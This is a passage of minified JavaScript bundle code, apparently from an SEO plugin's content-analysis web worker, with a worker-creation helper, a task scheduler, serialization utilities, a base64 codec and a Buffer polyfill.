unmatched response:",r)}handleMessageError(e){console.warn("AnalysisWebWorker message error:",e)}handleError(e){const t=Object.keys(this._requests),r=t[t.length-1],s=this._requests[r];s?s.reject(e):console.error("AnalysisWebWorker error:",e)}createRequestId(){return this._autoIncrementedRequestId++,this._autoIncrementedRequestId}createRequestPromise(e,t={}){return new Promise(((r,n)=>{this._requests[e]=new s.default(r,n,t)}))}sendRequest(e,t,r={}){const s=this.createRequestId(),n=this.createRequestPromise(s,r);return this.send(e,s,t),n}send(e,t,r={}){r=n.default.serialize(r),this._worker.postMessage({type:e,id:t,payload:r})}initialize(e){return this.sendRequest("initialize",e)}analyzeRelatedKeywords(e,t={}){return this.sendRequest("analyzeRelatedKeywords",{paper:e,relatedKeywords:t})}analyze(e){return this.sendRequest("analyze",{paper:e})}loadScript(e){return this.sendRequest("loadScript",{url:e})}sendMessage(e,t,r){return e=r+"-"+e,this.sendRequest("customMessage",{name:e,data:t},t)}runResearch(e,t=null){return this.sendRequest("runResearch",{name:e,paper:t})}}},7718:(e,t)=>{"use strict";function r(e){return`\n\t\ttry {\n\t\t\t${e}\n\t\t} catch ( error ) {\n\t\t\tconsole.log( "Error occurred during worker initialization:" );\n\t\t\tconsole.log( error );\n\t\t}\n\t`}function s(e){return`\n\t\tself.yoastOriginalUrl = '${e}';\n\t\timportScripts('${e}');\n\t`}function n(e,t){const r=new URL(e,window.location.origin),s=new URL(t,window.location.origin);return r.hostname===s.hostname&&r.port===s.port&&r.protocol===s.protocol}function i(e){const t=window.URL||window.webkitURL,n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder,i=r(s(e));let a;try{a=new Blob([i],{type:"application/javascript"})}catch(e){const t=new n;t.append(i),a=t.getBlob("application/javascript")}return t.createObjectURL(a)}function a(e){const t=i(e);return new Worker(t)}function o(e){if(!n(window.location,e)||window.wpseoAdminL10n&&"1"===window.wpseoAdminL10n.isWebStoriesIntegrationActive)return a(e);let t=null;try{t=new Worker(e)}catch(r){t=a(e)}return t}Object.defineProperty(t,"__esModule",{value:!0}),t.createBlobScript=s,t.createBlobURL=i,t.createExceptionHandler=r,t.createWorker=o,t.createWorkerFallback=a,t.default=void 0,t.isSameOrigin=n,t.default=o},77687:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"AnalysisWebWorker",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"AnalysisWorkerWrapper",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"createWorker",{enumerable:!0,get:function(){return i.default}});var s=a(r(86912)),n=a(r(49326)),i=a(r(7718));function a(e){return e&&e.__esModule?e:{default:e}}},90256:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(19832))&&s.__esModule?s:{default:s};t.default=class{constructor(e,t,r={}){this._resolve=e,this._reject=t,this._data=r}resolve(e={}){const t=new n.default(e,this._data);this._resolve(t)}reject(e={}){const t=new n.default(e,this._data);this._reject(t)}}},19832:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=class{constructor(e,t={}){this.result=e,this.data=t}}},31769:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(90256))&&s.__esModule?s:{default:s};t.default=n.default},30271:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(92819),i=(s=r(11506))&&s.__esModule?s:{default:s};const a={pollTime:50};t.default=class{constructor(e={}){this._configuration=(0,n.merge)(a,e),this._tasks={standard:[],extensions:[],analyze:[],analyzeRelatedKeywords:[]},this._pollHandle=null,this._started=!1,this.startPolling=this.startPolling.bind(this),this.stopPolling=this.stopPolling.bind(this),this.tick=this.tick.bind(this)}startPolling(){this._started||(this._started=!0,this.tick())}tick(){this.executeNextTask().then((()=>{this._pollHandle=setTimeout(this.tick,this._configuration.pollTime)}))}stopPolling(){clearTimeout(this._pollHandle),this._pollHandle=null,this._started=!1}schedule({id:e,execute:t,done:r,data:s,type:n}){const a=new i.default(e,t,r,s,n);switch(n){case"customMessage":case"loadScript":this._tasks.extensions.push(a);break;case"analyze":this._tasks.analyze=[a];break;case"analyzeRelatedKeywords":this._tasks.analyzeRelatedKeywords=[a];break;default:this._tasks.standard.push(a)}}getNextTask(){return this._tasks.extensions.length>0?this._tasks.extensions.shift():this._tasks.analyze.length>0?this._tasks.analyze.shift():this._tasks.analyzeRelatedKeywords.length>0?this._tasks.analyzeRelatedKeywords.shift():this._tasks.standard.length>0?this._tasks.standard.shift():null}executeNextTask(){const e=this.getNextTask();return null===e?Promise.resolve(null):Promise.resolve().then((()=>e.execute(e.id,e.data))).then((t=>(e.done(e.id,t),t)))}}},11506:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819);t.default=class{constructor(e,t,r,n={},i="analyze"){if(!(0,s.isNumber)(e))throw new Error("Task.id should be a number.");if(!(0,s.isFunction)(t))throw new Error("Task.execute should be a function.");if(!(0,s.isFunction)(r))throw new Error("Task.done should be a function.");if(!(0,s.isObject)(n))throw new Error("Task.data should be an object.");this.id=e,this.execute=t,this.done=r,this.data=n,this.type=i}}},96224:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(30271))&&s.__esModule?s:{default:s};t.default=n.default},46746:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(r(6658)),n=i(r(61854));function i(e){return e&&e.__esModule?e:{default:e}}t.default={parse:s.default,serialize:n.default}},6658:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function e(t){if((0,s.isArray)(t))return t.map(e);const r=(0,s.isObject)(t);return r&&t._parseClass&&d[t._parseClass]?d[t._parseClass].parse(t):r?(0,s.mapValues)(t,(t=>e(t))):t};var s=r(92819),n=c(r(73054)),i=c(r(41054)),a=c(r(82304)),o=c(r(18812)),l=c(r(83937)),u=c(r(4446));function c(e){return e&&e.__esModule?e:{default:e}}const d={AssessmentResult:n.default,Mark:i.default,Paper:a.default,Sentence:o.default,Clause:l.default,ProminentWord:u.default}},61854:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function e(t){if((0,s.isArray)(t))return t.map(e);const r=(0,s.isObject)(t);return r&&t.serialize?t.serialize():r?(0,s.mapValues)(t,(t=>e(t))):t};var s=r(92819)},72557:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r=""){return async(...s)=>{try{return await t(...s)}catch(t){return{error:i(e,t,s[1],r)}}}};var s,n=(s=r(54057))&&s.__esModule?s:{default:s};const i=function(e,t,r,s=""){r&&(s=(0,n.default)(s,r));let i=s?[s]:[];return t.name&&t.message&&(t.stack&&e.debug(t.stack),i.push(`${t.name}: ${t.message}`)),i=i.join("\n\t"),e.error(i),i}},79742:(e,t)=>{"use strict";t.byteLength=function(e){var t=o(e),r=t[0],s=t[1];return 3*(r+s)/4-s},t.toByteArray=function(e){var t,r,i=o(e),a=i[0],l=i[1],u=new n(function(e,t,r){return 3*(t+r)/4-r}(0,a,l)),c=0,d=l>0?a-4:a;for(r=0;r<d;r+=4)t=s[e.charCodeAt(r)]<<18|s[e.charCodeAt(r+1)]<<12|s[e.charCodeAt(r+2)]<<6|s[e.charCodeAt(r+3)],u[c++]=t>>16&255,u[c++]=t>>8&255,u[c++]=255&t;return 2===l&&(t=s[e.charCodeAt(r)]<<2|s[e.charCodeAt(r+1)]>>4,u[c++]=255&t),1===l&&(t=s[e.charCodeAt(r)]<<10|s[e.charCodeAt(r+1)]<<4|s[e.charCodeAt(r+2)]>>2,u[c++]=t>>8&255,u[c++]=255&t),u},t.fromByteArray=function(e){for(var t,s=e.length,n=s%3,i=[],a=16383,o=0,u=s-n;o<u;o+=a)i.push(l(e,o,o+a>u?u:o+a));return 1===n?(t=e[s-1],i.push(r[t>>2]+r[t<<4&63]+"==")):2===n&&(t=(e[s-2]<<8)+e[s-1],i.push(r[t>>10]+r[t>>4&63]+r[t<<2&63]+"=")),i.join("")};for(var r=[],s=[],n="undefined"!=typeof Uint8Array?Uint8Array:Array,i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",a=0;a<64;++a)r[a]=i[a],s[i.charCodeAt(a)]=a;function o(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var r=e.indexOf("=");return-1===r&&(r=t),[r,r===t?0:4-r%4]}function l(e,t,s){for(var n,i,a=[],o=t;o<s;o+=3)n=(e[o]<<16&16711680)+(e[o+1]<<8&65280)+(255&e[o+2]),a.push(r[(i=n)>>18&63]+r[i>>12&63]+r[i>>6&63]+r[63&i]);return a.join("")}s["-".charCodeAt(0)]=62,s["_".charCodeAt(0)]=63},48764:(e,t,r)=>{"use strict";var s=r(79742),n=r(80645),i="function"==typeof Symbol&&"function"==typeof Symbol.for?Symbol.for("nodejs.util.inspect.custom"):null;t.Buffer=l,t.SlowBuffer=function(e){return+e!=e&&(e=0),l.alloc(+e)},t.INSPECT_MAX_BYTES=50;var a=2147483647;function o(e){if(e>a)throw new RangeError('The value "'+e+'" is invalid for option "size"');var t=new Uint8Array(e);return Object.setPrototypeOf(t,l.prototype),t}function l(e,t,r){if("number"==typeof e){if("string"==typeof t)throw new TypeError('The "string" argument must be of type string. Received type number');return d(e)}return u(e,t,r)}function u(e,t,r){if("string"==typeof e)return function(e,t){if("string"==typeof t&&""!==t||(t="utf8"),!l.isEncoding(t))throw new TypeError("Unknown encoding: "+t);var r=0|g(e,t),s=o(r),n=s.write(e,t);return n!==r&&(s=s.slice(0,n)),s}(e,t);if(ArrayBuffer.isView(e))return function(e){if(H(e,Uint8Array)){var t=new Uint8Array(e);return f(t.buffer,t.byteOffset,t.byteLength)}return h(e)}(e);if(null==e)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e);if(H(e,ArrayBuffer)||e&&H(e.buffer,ArrayBuffer))return f(e,t,r);if("undefined"!=typeof SharedArrayBuffer&&(H(e,SharedArrayBuffer)||e&&H(e.buffer,SharedArrayBuffer)))return f(e,t,r);if("number"==typeof e)throw new TypeError('The "value" argument must not be of type number. Received type number');var s=e.valueOf&&e.valueOf();if(null!=s&&s!==e)return l.from(s,t,r);var n=function(e){if(l.isBuffer(e)){var t=0|p(e.length),r=o(t);return 0===r.length||e.copy(r,0,0,t),r}return void 0!==e.length?"number"!=typeof e.length||j(e.length)?o(0):h(e):"Buffer"===e.type&&Array.isArray(e.data)?h(e.data):void 0}(e);if(n)return n;if("undefined"!=typeof Symbol&&null!=Symbol.toPrimitive&&"function"==typeof e[Symbol.toPrimitive])return l.from(e[Symbol.toPrimitive]("string"),t,r);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e)}function c(e){if("number"!=typeof e)throw new TypeError('"size" argument must be of type number');if(e<0)throw new RangeError('The value "'+e+'" is invalid for option "size"')}function d(e){return c(e),o(e<0?0:0|p(e))}function h(e){for(var t=e.length<0?0:0|p(e.length),r=o(t),s=0;s<t;s+=1)r[s]=255&e[s];return r}function f(e,t,r){if(t<0||e.byteLength<t)throw new RangeError('"offset" is outside of buffer bounds');if(e.byteLength<t+(r||0))throw new RangeError('"length" is outside of buffer bounds');var s;return s=void 0===t&&void 0===r?new Uint8Array(e):void 0===r?new Uint8Array(e,t):new Uint8Array(e,t,r),Object.setPrototypeOf(s,l.prototype),s}function p(e){if(e>=a)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+a.toString(16)+" bytes");return 0|e}function g(e,t){if(l.isBuffer(e))return e.length;if(ArrayBuffer.isView(e)||H(e,ArrayBuffer))return e.byteLength;if("string"!=typeof e)throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof e);var r=e.length,s=arguments.length>2&&!0===arguments[2];if(!s&&0===r)return 0;for(var n=!1;;)switch(t){case"ascii":case"latin1":case"binary":return r;case"utf8":case"utf-8":return U(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*r;case"hex":return r>>>1;case"base64":return B(e).length;default:if(n)return s?-1:U(e).length;t=(""+t).toLowerCase(),n=!0}}function m(e,t,r){var s=!1;if((void 0===t||t<0)&&(t=0),t>this.length)return"";if((void 0===r||r>this.length)&&(r=this.length),r<=0)return"";if((r>>>=0)<=(t>>>=0))return"";for(e||(e="utf8");;)switch(e){case"hex":return w(this,t,r);case"utf8":case"utf-8":return I(this,t,r);case"ascii":return N(this,t,r);case"latin1":case"binary":return D(this,t,r);case"base64":return S(this,t,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return P(this,t,r);default:if(s)throw new TypeError("Unknown encoding: "+e);e=(e+"").toLowerCase(),s=!0}}function _(e,t,r){var s=e[t];e[t]=e[r],e[r]=s}function T(e,t,r,s,n){if(0===e.length)return-1;if("string"==typeof r?(s=r,r=0):r>2147483647?r=2147483647:r<-2147483648&&(r=-2147483648),j(r=+r)&&(r=n?0:e.length-1),r<0&&(r=e.length+r),r>=e.length){if(n)return-1;r=e.length-1}else if(r<0){if(!n)return-1;r=0}if("string"==typeof t&&(t=l.from(t,s)),l.isBuffer(t))return 0===t.length?-1:E(e,t,r,s,n);if("number"==typeof t)return t&=255,"function"==typeof Uint8Array.prototype.indexOf?n?Uint8Array.prototype.indexOf.call(e,t,r):Uint8Array.prototype.lastIndexOf.call(e,t,r):E(e,[t],r,s,n);throw new TypeError("val must be string, number or Buffer")}function E(e,t,r,s,n){var i,a=1,o=e.length,l=t.length;if(void 0!==s&&("ucs2"===(s=String(s).toLowerCase())||"ucs-2"===s||"utf16le"===s||"utf-16le"===s)){if(e.length<2||t.length<2)return-1;a=2,o/=2,l/=2,r/=2}function u(e,t){return 1===a?e[t]:e.readUInt16BE(t*a)}if(n){var c=-1;for(i=r;i<o;i++)if(u(e,i)===u(t,-1===c?0:i-c)){if(-1===c&&(c=i),i-c+1===l)return c*a}else-1!==c&&(i-=i-c),c=-1}else for(r+l>o&&(r=o-l),i=r;i>=0;i--){for(var d=!0,h=0;h<l;h++)if(u(e,i+h)!==u(t,h)){d=!1;break}if(d)return i}return-1}function A(e,t,r,s){r=Number(r)||0;var n=e.length-r;s?(s=Number(s))>n&&(s=n):s=n;var i=t.length;s>i/2&&(s=i/2);for(var a=0;a<s;++a){var o=parseInt(t.substr(2*a,2),16);if(j(o))return a;e[r+a]=o}return a}function y(e,t,r,s){return G(U(t,e.length-r),e,r,s)}function v(e,t,r,s){return G(function(e){for(var t=[],r=0;r<e.length;++r)t.push(255&e.charCodeAt(r));return t}(t),e,r,s)}function b(e,t,r,s){return G(B(t),e,r,s)}function O(e,t,r,s){return G(function(e,t){for(var r,s,n,i=[],a=0;a<e.length&&!((t-=2)<0);++a)s=(r=e.charCodeAt(a))>>8,n=r%256,i.push(n),i.push(s);return i}(t,e.length-r),e,r,s)}function S(e,t,r){return 0===t&&r===e.length?s.fromByteArray(e):s.fromByteArray(e.slice(t,r))}function I(e,t,r){r=Math.min(e.length,r);for(var s=[],n=t;n<r;){var i,a,o,l,u=e[n],c=null,d=u>239?4:u>223?3:u>191?2:1;if(n+d<=r)switch(d){case 1:u<128&&(c=u);break;case 2:128==(192&(i=e[n+1]))&&(l=(31&u)<<6|63&i)>127&&(c=l);break;case 3:i=e[n+1],a=e[n+2],128==(192&i)&&128==(192&a)&&(l=(15&u)<<12|(63&i)<<6|63&a)>2047&&(l<55296||l>57343)&&(c=l);break;case 4:i=e[n+1],a=e[n+2],o=e[n+3],128==(192&i)&&128==(192&a)&&128==(192&o)&&(l=(15&u)<<18|(63&i)<<12|(63&a)<<6|63&o)>65535&&l<1114112&&(c=l)}null===c?(c=65533,d=1):c>65535&&(c-=65536,s.push(c>>>10&1023|55296),c=56320|1023&c),s.push(c),n+=d}return function(e){var t=e.length;if(t<=C)return String.fromCharCode.apply(String,e);for(var r="",s=0;s<t;)r+=String.fromCharCode.apply(String,e.slice(s,s+=C));return r}(s)}t.kMaxLength=a,l.TYPED_ARRAY_SUPPORT=function(){try{var e=new Uint8Array(1),t={foo:function(){return 42}};return Object.setPrototypeOf(t,Uint8Array.prototype),Object.setPrototypeOf(e,t),42===e.foo()}catch(e){return!1}}(),l.TYPED_ARRAY_SUPPORT||"undefined"==typeof console||"function"!=typeof console.error||console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support."),Object.defineProperty(l.prototype,"parent",{enumerable:!0,get:function(){if(l.isBuffer(this))return this.buffer}}),Object.defineProperty(l.prototype,"offset",{enumerable:!0,get:function(){if(l.isBuffer(this))return this.byteOffset}}),l.poolSize=8192,l.from=function(e,t,r){return u(e,t,r)},Object.setPrototypeOf(l.prototype,Uint8Array.prototype),Object.setPrototypeOf(l,Uint8Array),l.alloc=function(e,t,r){return function(e,t,r){return c(e),e<=0?o(e):void 0!==t?"string"==typeof r?o(e).fill(t,r):o(e).fill(t):o(e)}(e,t,r)},l.allocUnsafe=function(e){return d(e)},l.allocUnsafeSlow=function(e){return d(e)},l.isBuffer=function(e){return null!=e&&!0===e._isBuffer&&e!==l.prototype},l.compare=function(e,t){if(H(e,Uint8Array)&&(e=l.from(e,e.offset,e.byteLength)),H(t,Uint8Array)&&(t=l.from(t,t.offset,t.byteLength)),!l.isBuffer(e)||!l.isBuffer(t))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(e===t)return 0;for(var r=e.length,s=t.length,n=0,i=Math.min(r,s);n<i;++n)if(e[n]!==t[n]){r=e[n],s=t[n];break}return r<s?-1:s<r?1:0},l.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},l.concat=function(e,t){if(!Array.isArray(e))throw new TypeError('"list" argument must be an Array of Buffers');if(0===e.length)return l.alloc(0);var r;if(void 0===t)for(t=0,r=0;r<e.length;++r)t+=e[r].length;var s=l.allocUnsafe(t),n=0;for(r=0;r<e.length;++r){var i=e[r];if(H(i,Uint8Array))n+i.length>s.length?l.from(i).copy(s,n):Uint8Array.prototype.set.call(s,i,n);else{if(!l.isBuffer(i))throw new TypeError('"list" argument must be an Array of Buffers');i.copy(s,n)}n+=i.length}return s},l.byteLength=g,l.prototype._isBuffer=!0,l.prototype.swap16=function(){var e=this.length;if(e%2!=0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var t=0;t<e;t+=2)_(this,t,t+1);return this},l.prototype.swap32=function(){var e=this.length;if(e%4!=0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var t=0;t<e;t+=4)_(this,t,t+3),_(this,t+1,t+2);return this},l.prototype.swap64=function(){var e=this.length;if(e%8!=0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var t=0;t<e;t+=8)_(this,t,t+7),_(this,t+1,t+6),_(this,t+2,t+5),_(this,t+3,t+4);return this},l.prototype.toString=function(){var e=this.length;return 0===e?"":0===arguments.length?I(this,0,e):m.apply(this,arguments)},l.prototype.toLocaleString=l.prototype.toString,l.prototype.equals=function(e){if(!l.isBuffer(e))throw new TypeError("Argument must be a Buffer");return this===e||0===l.compare(this,e)},l.prototype.inspect=function(){var e="",r=t.INSPECT_MAX_BYTES;return e=this.toString("hex",0,r).replace(/(.{2})/g,"$1 ").trim(),this.length>r&&(e+=" ... "),"<Buffer "+e+">"},i&&(l.prototype[i]=l.prototype.inspect),l.prototype.compare=function(e,t,r,s,n){if(H(e,Uint8Array)&&(e=l.from(e,e.offset,e.byteLength)),!l.isBuffer(e))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof e);if(void 0===t&&(t=0),void 0===r&&(r=e?e.length:0),void 0===s&&(s=0),void 0===n&&(n=this.length),t<0||r>e.length||s<0||n>this.length)throw new RangeError("out of range index");if(s>=n&&t>=r)return 0;if(s>=n)return-1;if(t>=r)return 1;if(this===e)return 0;for(var i=(n>>>=0)-(s>>>=0),a=(r>>>=0)-(t>>>=0),o=Math.min(i,a),u=this.slice(s,n),c=e.slice(t,r),d=0;d<o;++d)if(u[d]!==c[d]){i=u[d],a=c[d];break}return i<a?-1:a<i?1:0},l.prototype.includes=function(e,t,r){return-1!==this.indexOf(e,t,r)},l.prototype.indexOf=function(e,t,r){return T(this,e,t,r,!0)},l.prototype.lastIndexOf=function(e,t,r){return T(this,e,t,r,!1)},l.prototype.write=function(e,t,r,s){if(void 0===t)s="utf8",r=this.length,t=0;else if(void 0===r&&"string"==typeof t)s=t,r=this.length,t=0;else{if(!isFinite(t))throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");t>>>=0,isFinite(r)?(r>>>=0,void 0===s&&(s="utf8")):(s=r,r=void 0)}var n=this.length-t;if((void 0===r||r>n)&&(r=n),e.length>0&&(r<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");s||(s="utf8");for(var i=!1;;)switch(s){case"hex":return A(this,e,t,r);case"utf8":case"utf-8":return y(this,e,t,r);case"ascii":case"latin1":case"binary":return v(this,e,t,r);case"base64":return b(this,e,t,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return O(this,e,t,r);default:if(i)throw new TypeError("Unknown encoding: "+s);s=(""+s).toLowerCase(),i=!0}},l.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};var C=4096;function N(e,t,r){var s="";r=Math.min(e.length,r);for(var n=t;n<r;++n)s+=String.fromCharCode(127&e[n]);return s}function D(e,t,r){var s="";r=Math.min(e.length,r);for(var n=t;n<r;++n)s+=String.fromCharCode(e[n]);return s}function w(e,t,r){var s=e.length;(!t||t<0)&&(t=0),(!r||r<0||r>s)&&(r=s);for(var n="",i=t;i<r;++i)n+=$[e[i]];return n}function P(e,t,r){for(var s=e.slice(t,r),n="",i=0;i<s.length-1;i+=2)n+=String.fromCharCode(s[i]+256*s[i+1]);return n}function R(e,t,r){if(e%1!=0||e<0)throw new RangeError("offset is not uint");if(e+t>r)throw new RangeError("Trying to access beyond buffer length")}function k(e,t,r,s,n,i){if(!l.isBuffer(e))throw new TypeError('"buffer" argument must be a Buffer instance');if(t>n||t<i)throw new RangeError('"value" argument is out of bounds');if(r+s>e.length)throw new RangeError("Index out of range")}function L(e,t,r,s,n,i){if(r+s>e.length)throw new RangeError("Index out of range");if(r<0)throw new RangeError("Index out of range")}function M(e,t,r,s,i){return t=+t,r>>>=0,i||L(e,0,r,4),n.write(e,t,r,s,23,4),r+4}function x(e,t,r,s,i){return t=+t,r>>>=0,i||L(e,0,r,8),n.write(e,t,r,s,52,8),r+8}l.prototype.slice=function(e,t){var r=this.length;(e=~~e)<0?(e+=r)<0&&(e=0):e>r&&(e=r),(t=void 0===t?r:~~t)<0?(t+=r)<0&&(t=0):t>r&&(t=r),t<e&&(t=e);var s=this.subarray(e,t);return Object.setPrototypeOf(s,l.prototype),s},l.prototype.readUintLE=l.prototype.readUIntLE=function(e,t,r){e>>>=0,t>>>=0,r||R(e,t,this.length);for(var s=this[e],n=1,i=0;++i<t&&(n*=256);)s+=this[e+i]*n;return s},l.prototype.readUintBE=l.prototype.readUIntBE=function(e,t,r){e>>>=0,t>>>=0,r||R(e,t,this.length);for(var s=this[e+--t],n=1;t>0&&(n*=256);)s+=this[e+--t]*n;return s},l.prototype.readUint8=l.prototype.readUInt8=function(e,t){return e>>>=0,t||R(e,1,this.length),this[e]},l.prototype.readUint16LE=l.prototype.readUInt16LE=function(e,t){return e>>>=0,t||R(e,2,this.length),this[e]|this[e+1]<<8},l.prototype.readUint16BE=l.prototype.readUInt16BE=function(e,t){return e>>>=0,t||R(e,2,this.length),this[e]<<8|this[e+1]},l.prototype.readUint32LE=l.prototype.readUInt32LE=function(e,t){return e>>>=0,t||R(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+16777216*this[e+3]},l.prototype.readUint32BE=l.prototype.readUInt32BE=function(e,t){return e>>>=0,t||R(e,4,this.length),16777216*this[e]+(this[e+1]<<16|this[e+2]<<8|this[e+3])},l.prototype.readIntLE=function(e,t,r){e>>>=0,t>>>=0,r||R(e,t,this.length);for(var s=this[e],n=1,i=0;++i<t&&(n*=256);)s+=this[e+i]*n;return s>=(n*=128)&&(s-=Math.pow(2,8*t)),s},l.prototype.readIntBE=function(e,t,r){e>>>=0,t>>>=0,r||R(e,t,this.length);for(var s=t,n=1,i=this[e+--s];s>0&&(n*=256);)i+=this[e+--s]*n;return i>=(n*=128)&&(i-=Math.pow(2,8*t)),i},l.prototype.readInt8=function(e,t){return e>>>=0,t||R(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},l.prototype.readInt16LE=function(e,t){e>>>=0,t||R(e,2,this.length);var r=this[e]|this[e+1]<<8;return 32768&r?4294901760|r:r},l.prototype.readInt16BE=function(e,t){e>>>=0,t||R(e,2,this.length);var r=this[e+1]|this[e]<<8;return 32768&r?4294901760|r:r},l.prototype.readInt32LE=function(e,t){return e>>>=0,t||R(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},l.prototype.readInt32BE=function(e,t){return e>>>=0,t||R(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},l.prototype.readFloatLE=function(e,t){return e>>>=0,t||R(e,4,this.length),n.read(this,e,!0,23,4)},l.prototype.readFloatBE=function(e,t){return e>>>=0,t||R(e,4,this.length),n.read(this,e,!1,23,4)},l.prototype.readDoubleLE=function(e,t){return e>>>=0,t||R(e,8,this.length),n.read(this,e,!0,52,8)},l.prototype.readDoubleBE=function(e,t){return e>>>=0,t||R(e,8,this.length),n.read(this,e,!1,52,8)},l.prototype.writeUintLE=l.prototype.writeUIntLE=function(e,t,r,s){e=+e,t>>>=0,r>>>=0,s||k(this,e,t,r,Math.pow(2,8*r)-1,0);var n=1,i=0;for(this[t]=255&e;++i<r&&(n*=256);)this[t+i]=e/n&255;return t+r},l.prototype.writeUintBE=l.prototype.writeUIntBE=function(e,t,r,s){e=+e,t>>>=0,r>>>=0,s||k(this,e,t,r,Math.pow(2,8*r)-1,0);var n=r-1,i=1;for(this[t+n]=255&e;--n>=0&&(i*=256);)this[t+n]=e/i&255;return t+r},l.prototype.writeUint8=l.prototype.writeUInt8=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,1,255,0),this[t]=255&e,t+1},l.prototype.writeUint16LE=l.prototype.writeUInt16LE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,2,65535,0),this[t]=255&e,this[t+1]=e>>>8,t+2},l.prototype.writeUint16BE=l.prototype.writeUInt16BE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,2,65535,0),this[t]=e>>>8,this[t+1]=255&e,t+2},l.prototype.writeUint32LE=l.prototype.writeUInt32LE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,4,4294967295,0),this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e,t+4},l.prototype.writeUint32BE=l.prototype.writeUInt32BE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,4,4294967295,0),this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e,t+4},l.prototype.writeIntLE=function(e,t,r,s){if(e=+e,t>>>=0,!s){var n=Math.pow(2,8*r-1);k(this,e,t,r,n-1,-n)}var i=0,a=1,o=0;for(this[t]=255&e;++i<r&&(a*=256);)e<0&&0===o&&0!==this[t+i-1]&&(o=1),this[t+i]=(e/a>>0)-o&255;return t+r},l.prototype.writeIntBE=function(e,t,r,s){if(e=+e,t>>>=0,!s){var n=Math.pow(2,8*r-1);k(this,e,t,r,n-1,-n)}var i=r-1,a=1,o=0;for(this[t+i]=255&e;--i>=0&&(a*=256);)e<0&&0===o&&0!==this[t+i+1]&&(o=1),this[t+i]=(e/a>>0)-o&255;return t+r},l.prototype.writeInt8=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,1,127,-128),e<0&&(e=255+e+1),this[t]=255&e,t+1},l.prototype.writeInt16LE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,2,32767,-32768),this[t]=255&e,this[t+1]=e>>>8,t+2},l.prototype.writeInt16BE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,2,32767,-32768),this[t]=e>>>8,this[t+1]=255&e,t+2},l.prototype.writeInt32LE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,4,2147483647,-2147483648),this[t]=255&e,this[t+1]=e>>>8,this[t+2]=e>>>16,this[t+3]=e>>>24,t+4},l.prototype.writeInt32BE=function(e,t,r){return e=+e,t>>>=0,r||k(this,e,t,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e,t+4},l.prototype.writeFloatLE=function(e,t,r){return M(this,e,t,!0,r)},l.prototype.writeFloatBE=function(e,t,r){return M(this,e,t,!1,r)},l.prototype.writeDoubleLE=function(e,t,r){return x(this,e,t,!0,r)},l.prototype.writeDoubleBE=function(e,t,r){return x(this,e,t,!1,r)},l.prototype.copy=function(e,t,r,s){if(!l.isBuffer(e))throw new TypeError("argument should be a Buffer");if(r||(r=0),s||0===s||(s=this.length),t>=e.length&&(t=e.length),t||(t=0),s>0&&s<r&&(s=r),s===r)return 0;if(0===e.length||0===this.length)return 